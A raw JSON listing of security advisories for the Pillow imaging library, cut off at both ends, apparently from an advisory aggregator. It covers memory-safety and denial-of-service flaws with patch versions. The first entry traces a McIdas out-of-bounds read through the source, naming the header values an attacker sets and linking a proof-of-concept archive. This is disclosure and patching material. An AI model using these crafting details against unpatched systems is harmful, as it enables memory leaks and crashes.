# pixelsize 1, in _MAPMODES\nelif w[11] == 2:\n    mode = rawmode = \"I;16B\"                # pixelsize 2, in _MAPMODES\n...\nself._mode = mode\nself._size = w[10], w[9]                    # (xsize, ysize)  \u003c-- attacker\noffset = w[34] + w[15]                       # \u003c-- attacker\nstride = w[15] + w[10] * w[11] * w[14]       # \u003c-- attacker (set w[14]=0, w[15]=1 =\u003e stride=1)\nself.tile = [\n    ImageFile._Tile(\"raw\", (0, 0) + self.size, offset, (rawmode, stride, 1))\n]\n```\n\n**Step 2: `ImageFile.load` (mmap branch)** - selects mmap and delegates to `map_buffer`.\n\n```python\n# src/PIL/ImageFile.py:322-348\nif use_mmap:                                 # use_mmap = self.filename and len(self.tile) == 1\n    decoder_name, extents, offset, args = self.tile[0]\n    if (decoder_name == \"raw\" and isinstance(args, tuple) and len(args) \u003e= 3\n            and args[0] == self.mode and args[0] in Image._MAPMODES):\n        if offset \u003c 0:                       # only lower-bound guard on offset\n            raise ValueError(\"Tile offset cannot be negative\")\n        with open(self.filename) as fp:\n            self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESS_READ)\n        if offset + self.size[1] * args[1] \u003e self.map.size():   # == offset + ysize*stride; NO stride\u003e=linesize check\n            raise OSError(\"buffer is not large enough\")\n        self.im = Image.core.map_buffer(\n            self.map, self.size, decoder_name, offset, args      # args = (\"L\", stride, 1)\n        )\n```\n\n**Step 3: `PyImaging_MapBuffer`** - builds row pointers at `stride` spacing into the mmap; validates everything except `stride \u003e= row width`.\n\n```c\n/* src/map.c:65-140 */\nif (!PyArg_ParseTuple(args, \"O(ii)sn(sii)\",\n        \u0026target, \u0026xsize, \u0026ysize, \u0026codec, \u0026offset, \u0026mode_name, \u0026stride, \u0026ystep))\n    return NULL;\n...\nconst ModeID mode = findModeID(mode_name);          /* \"L\" */\n\nif (stride \u003c= 0) {                                  /* attacker sets stride=1 (\u003e0) -\u003e NOT recomputed */\n    if (mode == IMAGING_MODE_L || mode == IMAGING_MODE_P) stride = xsize;\n    else if (isModeI16(mode)) stride = xsize * 2;\n    else stride = xsize * 4;\n}\n\nif (stride \u003e 0 \u0026\u0026 ysize \u003e PY_SSIZE_T_MAX / stride) {/* overflow guard only */\n    PyErr_SetString(PyExc_MemoryError, \"Integer overflow in ysize\"); return NULL;\n}\nsize = (Py_ssize_t)ysize * stride;                  /* = 1*1 = 1 */\n\nif (offset \u003e PY_SSIZE_T_MAX - size) { ... }\n...\nif (offset + size \u003e view.len) {                     /* 1 + 1 = 2 \u003c= 256 -\u003e PASSES */\n    PyErr_SetString(PyExc_ValueError, \"buffer is not large enough\");\n    PyBuffer_Release(\u0026view); return NULL;\n}\n\nim = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance));\n/* im-\u003elinesize = xsize * pixelsize = 200000  (the REAL per-row read width) */\n\n/* setup file pointers -- NO check that stride \u003e= im-\u003elinesize */\nif (ystep \u003e 0) {\n    for (y = 0; y \u003c ysize; y++) {\n        im-\u003eimage[y] = (char *)view.buf + offset + y * stride;   /* row points into mmap, spacing=1 */\n    }\n} else { ... }\n```\n\n`im-\u003elinesize` (the number of bytes any consumer reads per row) is `xsize * pixelsize = 200000`, but the row pointers are only `stride = 1` byte apart and the buffer is only `offset + ysize*stride = 2` bytes \"claimed\". Nothing reconciles the two.\n\n**Step 4: pixel access (`Image.tobytes()` → raw encoder `copy1`)** - reads `linesize` bytes from `im-\u003eimage[0]`, i.e. `xsize` bytes starting at `view.buf + offset`, running far past the mmap.\n\n```c\n/* the raw \"L\" packer copies linesize (=xsize) bytes per row from im-\u003eimage[y];\n   for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. */\n```\n\n## Chain Summary\n\n```\nSOURCE: McIdas AREA header words w[9],w[10],w[11],w[14],w[15],w[34]  (Image.open on a path)\n  ↓ McIdasImagePlugin._open: stride = w[15]+w[10]*w[11]*w[14]  -\u003e attacker sets stride=1   [McIdasImagePlugin.py:66]\n  ↓ tile = (\"raw\", (0,0,xsize,1), offset, (\"L\", 1, 1))                                     [McIdasImagePlugin.py:68]\nGADGET: ImageFile.load mmap branch -- only checks offset+ysize*stride\u003c=len  \u003c- BUG: no stride\u003e=linesize check  [ImageFile.py:343]\n  ↓ core.map_buffer(map, (xsize,1), \"raw\", offset, (\"L\",1,1))                              [ImageFile.py:346]\nSINK: PyImaging_MapBuffer: im-\u003eimage[0] = view.buf + offset + 0*stride; linesize=xsize   [map.c:134]\n  ↓ Image.tobytes() raw \"L\" encoder reads linesize (=xsize) bytes from im-\u003eimage[0]\nIMPACT: reads xsize bytes from a tiny mmap -\u003e OOB read of adjacent process memory (leak) or SIGBUS (DoS)\n```\n## Proof of Concept\n\nSee attached [poc.zip](https://github.com/user-attachments/files/28460498/poc.zip)\n\n\n## Impact on a Parent Application\n\nAny application that opens image files supplied by users **from a path on disk** (the common pattern: save upload to a temp file, then `Image.open(path)`), has the default plugin set (McIdas is registered by default), and subsequently reads/returns/re-encodes the decoded pixels (thumbnailing, format conversion, serving a preview), is exposed:\n\n- **Information disclosure (High):** the decoded \"image\" contains bytes of the   worker process's adjacent heap/mapped memory, which the app then serves or stores - potentially leaking secrets, credentials, or other users' data.\n- **Denial of service (High):** a larger `xsize` reliably crashes the worker with SIGBUS.\n\n## Suggested fix\nCore fix in `src/map.c` (`PyImaging_MapBuffer`): reject `offset \u003c 0` and `stride \u003c im-\u003elinesize`. Defense-in-depth in `McIdasImagePlugin._open`: reject `offset \u003c 0` or `stride \u003c xsize*pixelsize` .","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-20T21:08:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-62p4-gmf7-7g93","https://nvd.nist.gov/vuln/detail/CVE-2026-54058","https://github.com/python-pillow/Pillow/pull/9719","https://github.com/python-pillow/Pillow/commit/6a8de891fb00968e5ea79bfa84368ed90b3cfc1d","https://github.com/python-pillow/Pillow/releases/tag/12.3.0","https://github.com/advisories/GHSA-62p4-gmf7-7g93"],"source_kind":"github","identifiers":["GHSA-62p4-gmf7-7g93","CVE-2026-54058"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-20T22:00:09.057Z","updated_at":"2026-12-02T11:03:26.336Z","epss_percentage":0.00476,"epss_percentile":0.42716,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02MnA0LWdtZjctN2c5M84ABcPy","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02MnA0LWdtZjctN2c5M84ABcPy","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.3.0","vulnerable_version_range":"\u003c 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02MnA0LWdtZjctN2c5M84ABcPy/related_packages","related_advisories":[{"uuid":"CVE-2026-54058","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54058.json"},{"uuid":"UBUNTU-CVE-2026-54058","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8999-1"},{"uuid":"USN-8999-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8999-1"},{"uuid":"DEBIAN-CVE-2026-54058","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-54058"}]},{"uuid":"GSA_kwCzR0hTQS1wd3Y2LXZ2NDMtODhncs4ABWI0","url":"https://github.com/advisories/GHSA-pwv6-vv43-88gr","title":"Pillow has an OOB Write with Invalid PSD Tile Extents (Integer Overflow)","description":"### Impact\nProcessing a malicious PSD file could lead to memory corruption, potentially resulting in a crash or arbitrary code execution.\n\n### Patches\nPatched version: 12.2.0\n\nPillow 12.1.1 addressed CVE-2026-25990 by adding checks for tile extents in PSD image decoding/encoding to prevent an out-of-bounds write. However, the bounds checks computed tile extent sums using types susceptible to integer overflow, meaning a PSD image with carefully chosen tile dimensions could produce values that wrap around and bypass the checks, still triggering an out-of-bounds write in src/decode.c and src/encode.c. The fix avoids adding extents together before comparison.\n\n### Workarounds\nUse any version but affected versions: \u003e= 10.3.0, \u003c 12.2.0\n\n### Resources\n - Fix: https://github.com/python-pillow/Pillow/pull/9520 \n - Original issue: CVE-2026-25990 (Pillow 12.1.1)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-05-04T20:20:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-cfh3-3jmp-rvhc","https://github.com/python-pillow/Pillow/security/advisories/GHSA-pwv6-vv43-88gr","https://github.com/python-pillow/Pillow/pull/9520","https://nvd.nist.gov/vuln/detail/CVE-2026-42311","https://github.com/python-pillow/Pillow/commit/58f9a1d166dcb0c274807d4423522d205b0c35ea","https://github.com/python-pillow/Pillow/releases/tag/12.2.0","https://github.com/advisories/GHSA-pwv6-vv43-88gr"],"source_kind":"github","identifiers":["GHSA-pwv6-vv43-88gr","CVE-2026-42311"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-04T21:00:09.692Z","updated_at":"2026-12-02T11:05:32.830Z","epss_percentage":0.0015,"epss_percentile":0.04373,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wd3Y2LXZ2NDMtODhncs4ABWI0","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wd3Y2LXZ2NDMtODhncs4ABWI0","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.2.0","vulnerable_version_range":"\u003e= 10.3.0, \u003c 12.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wd3Y2LXZ2NDMtODhncs4ABWI0/related_packages","related_advisories":[{"uuid":"CVE-2026-42311","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42311.json"},{"uuid":"DEBIAN-CVE-2026-42311","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-42311"},{"uuid":"DSA-6357-1","source_kind":"osv","url":"https://osv.dev/vulnerability/DSA-6357-1"},{"uuid":"USN-8399-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8399-1"}]},{"uuid":"GSA_kwCzR0hTQS1yNzNqLXBxajUtdzN4N84ABWIz","url":"https://github.com/advisories/GHSA-r73j-pqj5-w3x7","title":"Pillow has a PDF Parsing Trailer Infinite Loop (DoS)","description":"### Impact\nAn attacker can supply a malicious PDF that causes the process to hang indefinitely, consuming 100% CPU and making the application unresponsive.\n\n### Patches\nPatched version: 12.2.0.\n\nPdfParser (introduced in Pillow 4.2.0) follows Prev pointers in PDF trailers to read cross-reference sections. If a\ntrailer's Prev pointer references an offset that has already been processed — either pointing to itself or forming a\nlonger cycle — the parser enters an infinite loop. Pillow now tracks previously processed trailer offsets and raises an\nerror if a cycle is detected.\n\n### Workarounds\nUse any version but the affected versions: \u003e= 4.2.0, \u003c 12.2.0\n\n### Resources\n - Fix: https://github.com/python-pillow/Pillow/pull/9519","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-04T20:19:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-r73j-pqj5-w3x7","https://github.com/python-pillow/Pillow/pull/9519","https://nvd.nist.gov/vuln/detail/CVE-2026-42310","https://github.com/python-pillow/Pillow/commit/3bf614e4b8615d0ce1d5039efaf6db447fe7c468","https://github.com/python-pillow/Pillow/releases/tag/12.2.0","https://github.com/advisories/GHSA-r73j-pqj5-w3x7"],"source_kind":"github","identifiers":["GHSA-r73j-pqj5-w3x7","CVE-2026-42310"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-04T21:00:09.692Z","updated_at":"2026-12-02T11:05:32.830Z","epss_percentage":0.00171,"epss_percentile":0.06845,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNzNqLXBxajUtdzN4N84ABWIz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yNzNqLXBxajUtdzN4N84ABWIz","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.2.0","vulnerable_version_range":"\u003e= 4.2.0, \u003c 12.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yNzNqLXBxajUtdzN4N84ABWIz/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2026-42310","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-42310"},{"uuid":"DSA-6357-1","source_kind":"osv","url":"https://osv.dev/vulnerability/DSA-6357-1"},{"uuid":"UBUNTU-CVE-2026-42310","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8399-1"},{"uuid":"CVE-2026-42310","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42310.json"},{"uuid":"USN-8399-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8399-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"}]},{"uuid":"GSA_kwCzR0hTQS13ang0LTRqY2otZzk4as4ABWIy","url":"https://github.com/advisories/GHSA-wjx4-4jcj-g98j","title":"Pillow has an integer overflow when processing fonts","description":"If a font advances for each glyph by an exceeding large amount, when Pillow keeps track of the current position, it may lead to an integer overflow. This has been fixed.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-04T20:18:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-wjx4-4jcj-g98j","https://nvd.nist.gov/vuln/detail/CVE-2026-42308","https://github.com/python-pillow/Pillow/releases/tag/12.2.0","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-165.yaml","https://github.com/advisories/GHSA-wjx4-4jcj-g98j"],"source_kind":"github","identifiers":["GHSA-wjx4-4jcj-g98j","CVE-2026-42308"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-04T21:00:09.692Z","updated_at":"2026-12-02T11:05:32.831Z","epss_percentage":0.00114,"epss_percentile":0.01605,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13ang0LTRqY2otZzk4as4ABWIy","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13ang0LTRqY2otZzk4as4ABWIy","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.2.0","vulnerable_version_range":"\u003c 12.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13ang0LTRqY2otZzk4as4ABWIy/related_packages","related_advisories":[{"uuid":"CVE-2026-42308","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42308.json"},{"uuid":"DEBIAN-CVE-2026-42308","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-42308"},{"uuid":"DSA-6357-1","source_kind":"osv","url":"https://osv.dev/vulnerability/DSA-6357-1"},{"uuid":"UBUNTU-CVE-2026-42308","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8399-1"},{"uuid":"USN-8399-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8399-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"}]},{"uuid":"GSA_kwCzR0hTQS01eG13LXZjOXYtNHdmMs4ABWIx","url":"https://github.com/advisories/GHSA-5xmw-vc9v-4wf2","title":"Pillow has a heap buffer overflow with nested list coordinates","description":"Passing nested lists as coordinates to APIs that accept coordinates such as `ImagePath.Path`, `ImageDraw.ImageDraw.polygon` and `ImageDraw.ImageDraw.line` could cause a heap buffer overflow, as nested lists were recursively unpacked beyond the allocated buffer. Coordinate lists are now validated to contain exactly two numeric coordinates. This was introduced in Pillow 11.2.1.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-04T20:18:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.1,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-5xmw-vc9v-4wf2","https://nvd.nist.gov/vuln/detail/CVE-2026-42309","https://github.com/python-pillow/Pillow/releases/tag/12.2.0","https://github.com/python-pillow/Pillow/commit/cf6de8ca9b23e714aa5310e1c791eda66fc0b670","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2251.yaml","https://github.com/designcomputer/mysql_mcp_server/commit/a96549f4a4d65443fd6e9c7f2324fba9a5c80a82","https://github.com/advisories/GHSA-5xmw-vc9v-4wf2"],"source_kind":"github","identifiers":["GHSA-5xmw-vc9v-4wf2","CVE-2026-42309"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-04T21:00:09.692Z","updated_at":"2026-12-02T11:05:32.831Z","epss_percentage":0.00133,"epss_percentile":0.03015,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01eG13LXZjOXYtNHdmMs4ABWIx","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01eG13LXZjOXYtNHdmMs4ABWIx","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.2.0","vulnerable_version_range":"\u003e= 11.2.1, \u003c 12.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01eG13LXZjOXYtNHdmMs4ABWIx/related_packages","related_advisories":[{"uuid":"CVE-2026-42309","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42309.json"},{"uuid":"USN-8399-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8399-1"}]},{"uuid":"GSA_kwCzR0hTQS13aGo0LTZ4NXgtNHYyas4ABVLv","url":"https://github.com/advisories/GHSA-whj4-6x5x-4v2j","title":"FITS GZIP decompression bomb in Pillow","description":"### Impact\nPillow did not limit the amount of GZIP-compressed data read when decoding a FITS image, making it vulnerable to decompression bomb attacks. A specially crafted FITS file could cause unbounded memory consumption, leading to denial of service (OOM crash or severe performance degradation).\n\n### Patches\nThe amount of data read is now limited to the necessary amount.\nFixed in Pillow 12.2.0 (PR #9521).\n\n### Workarounds\nAvoid Pillow \u003e= 10.3.0, \u003c 12.2.0\nOnly open [specific image formats](https://pillow.readthedocs.io/en/stable/releasenotes/8.0.0.html#image-open-add-formats-parameter), excluding FITS.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-13T19:22:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-whj4-6x5x-4v2j","https://github.com/python-pillow/Pillow/pull/9521","https://github.com/python-pillow/Pillow/commit/3cb854e8b2bab43f40e342e665f9340d861aa628","https://pillow.readthedocs.io/en/stable/releasenotes/12.2.0.html#prevent-fits-decompression-bomb","https://nvd.nist.gov/vuln/detail/CVE-2026-40192","https://github.com/advisories/GHSA-whj4-6x5x-4v2j"],"source_kind":"github","identifiers":["GHSA-whj4-6x5x-4v2j","CVE-2026-40192"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-13T20:00:09.572Z","updated_at":"2026-12-04T22:04:44.574Z","epss_percentage":0.00712,"epss_percentile":0.54867,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13aGo0LTZ4NXgtNHYyas4ABVLv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13aGo0LTZ4NXgtNHYyas4ABVLv","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.2.0","vulnerable_version_range":"\u003e= 10.3.0, \u003c 12.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13aGo0LTZ4NXgtNHYyas4ABVLv/related_packages","related_advisories":[{"uuid":"DSA-6219-1","source_kind":"osv","url":"https://osv.dev/vulnerability/DSA-6219-1"},{"uuid":"CVE-2026-40192","source_kind":"osv","url":"https://access.redhat.com/errata/RHSA-2026:16008"},{"uuid":"DEBIAN-CVE-2026-40192","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-40192"}]},{"uuid":"GSA_kwCzR0hTQS1jZmgzLTNqbXAtcnZoY84ABSNi","url":"https://github.com/advisories/GHSA-cfh3-3jmp-rvhc","title":"Pillow affected by out-of-bounds write when loading PSD images","description":"### Impact\nAn out-of-bounds write may be triggered when loading a specially crafted PSD image. Pillow \u003e= 10.3.0 users are affected.\n\n### Patches\nPillow 12.1.1 will be released shortly with a fix for this.\n\n### Workarounds\n`Image.open()` has a `formats` parameter that can be used to prevent PSD images from being opened.\n\n### References\nPillow 12.1.1 will add release notes at https://pillow.readthedocs.io/en/stable/releasenotes/index.html","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-02-11T14:22:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-cfh3-3jmp-rvhc","https://github.com/python-pillow/Pillow/pull/9427","https://github.com/python-pillow/Pillow/commit/54ba4db542ad3c7b918812a4e2d69c27735a3199","https://pillow.readthedocs.io/en/stable/releasenotes/12.1.1.html","https://nvd.nist.gov/vuln/detail/CVE-2026-25990","https://github.com/python-pillow/Pillow/commit/9000313cc5d4a31bdcdd6d7f0781101abab553aa","https://github.com/advisories/GHSA-cfh3-3jmp-rvhc"],"source_kind":"github","identifiers":["GHSA-cfh3-3jmp-rvhc","CVE-2026-25990"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-11T15:00:08.493Z","updated_at":"2026-12-02T11:07:46.660Z","epss_percentage":0.00403,"epss_percentile":0.36641,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZmgzLTNqbXAtcnZoY84ABSNi","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jZmgzLTNqbXAtcnZoY84ABSNi","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"12.1.1","vulnerable_version_range":"\u003e= 10.3.0, \u003c 12.1.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZmgzLTNqbXAtcnZoY84ABSNi/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2026-25990","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-25990"},{"uuid":"DSA-6147-1","source_kind":"osv","url":"https://osv.dev/vulnerability/DSA-6147-1"},{"uuid":"CVE-2026-25990","source_kind":"osv","url":"https://access.redhat.com/errata/RHSA-2026:10184"},{"uuid":"ALPINE-CVE-2026-25990","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2026-25990"}]},{"uuid":"GSA_kwCzR0hTQS14ZzhoLWo0NmYtdzk1Ms4ABJme","url":"https://github.com/advisories/GHSA-xg8h-j46f-w952","title":"Pillow vulnerability can cause write buffer overflow on BCn encoding","description":"There is a heap buffer overflow when writing a sufficiently large (\u003e64k encoded with default settings) image in the DDS format due to writing into a buffer without checking for available space. \n\nThis only affects users who save untrusted data as a compressed DDS image. \n\n* Unclear how large the potential write could be. It is likely limited by process segfault, so it's not necessarily deterministic. It may be practically unbounded. \n* Unclear if there's a restriction on the bytes that could be emitted. It's likely that the only restriction is that the bytes would be emitted in chunks of 8 or 16. \n\nThis was introduced in Pillow 11.2.0 when the feature was added.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2025-07-01T17:29:37.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-xg8h-j46f-w952","https://github.com/python-pillow/Pillow/pull/9041","https://github.com/python-pillow/Pillow/releases/tag/11.3.0","https://nvd.nist.gov/vuln/detail/CVE-2025-48379","https://github.com/python-pillow/Pillow/commit/ef98b3510e3e4f14b547762764813d7e5ca3c5a4","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2025-61.yaml","https://github.com/advisories/GHSA-xg8h-j46f-w952"],"source_kind":"github","identifiers":["GHSA-xg8h-j46f-w952","CVE-2025-48379"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":0.0,"created_at":"2025-07-01T18:08:45.198Z","updated_at":"2026-12-02T11:09:47.129Z","epss_percentage":0.00338,"epss_percentile":0.29227,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14ZzhoLWo0NmYtdzk1Ms4ABJme","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14ZzhoLWo0NmYtdzk1Ms4ABJme","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"11.3.0","vulnerable_version_range":"\u003e= 11.2.0, \u003c 11.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14ZzhoLWo0NmYtdzk1Ms4ABJme/related_packages","related_advisories":[{"uuid":"CVE-2025-48379","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/48xxx/CVE-2025-48379.json"},{"uuid":"PYSEC-2025-61","source_kind":"osv","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-xg8h-j46f-w952"},{"uuid":"ALPINE-CVE-2025-48379","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2025-48379"}]},{"uuid":"GSA_kwCzR0hTQS00NHdtLWYyNDQteGhwM84AA6j6","url":"https://github.com/advisories/GHSA-44wm-f244-xhp3","title":"Pillow buffer overflow vulnerability","description":"In _imagingcms.c in Pillow before 10.3.0, a buffer overflow exists because strcpy is used instead of strncpy.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-04-03T03:30:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-28219","https://pillow.readthedocs.io/en/stable/releasenotes/10.3.0.html#security","https://github.com/python-pillow/Pillow/commit/2a93aba5cfcf6e241ab4f9392c13e3b74032c061","https://lists.debian.org/debian-lts-announce/2024/04/msg00008.html","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4XLPUT3VK4GQ6EVY525TT2QNUIXNRU5M","https://github.com/advisories/GHSA-44wm-f244-xhp3"],"source_kind":"github","identifiers":["GHSA-44wm-f244-xhp3","CVE-2024-28219"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":36.126947192905405,"created_at":"2024-04-03T15:04:50.057Z","updated_at":"2026-12-04T22:10:57.070Z","epss_percentage":0.00997,"epss_percentile":0.63697,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00NHdtLWYyNDQteGhwM84AA6j6","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00NHdtLWYyNDQteGhwM84AA6j6","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"10.3.0","vulnerable_version_range":"\u003c 